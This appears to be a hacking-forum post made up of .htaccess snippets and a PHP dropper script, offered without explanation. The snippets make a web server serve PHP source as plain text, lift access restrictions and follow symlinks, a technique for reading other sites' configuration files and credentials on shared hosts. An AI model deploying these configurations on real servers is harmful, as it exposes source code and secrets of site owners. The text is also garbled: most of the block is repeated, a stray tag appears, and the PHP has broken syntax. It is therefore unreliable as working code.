.htacces 1
Kod:
Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
.htacces 2
Kod:
<?php
//(c)
$filename = dirname(__FILE__).-/.htaccess";
$fp = fopen($filename, "w");
(fwrite($fp));
(fwrite($fp, "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any"));
fclose($fp);
.htacces 3
[/code]Options +FollowSymLinks
DirectoryIndex seees.html
RemoveHandler .php
AddType application/octet-stream .php
Kod:
.htacces 4
<Files *.php>
ForceType application/x-httpd-php4
</Files>
Kod:
Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
.htacces 2
Kod:
<?php
//(c)
$filename = dirname(__FILE__).-/.htaccess";
$fp = fopen($filename, "w");
(fwrite($fp));
(fwrite($fp, "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any"));
fclose($fp);
.htacces 3
[/code]Options +FollowSymLinks
DirectoryIndex seees.html
RemoveHandler .php
AddType application/octet-stream .php
Kod:
.htacces 4
<Files *.php>
ForceType application/x-httpd-php4
</Files>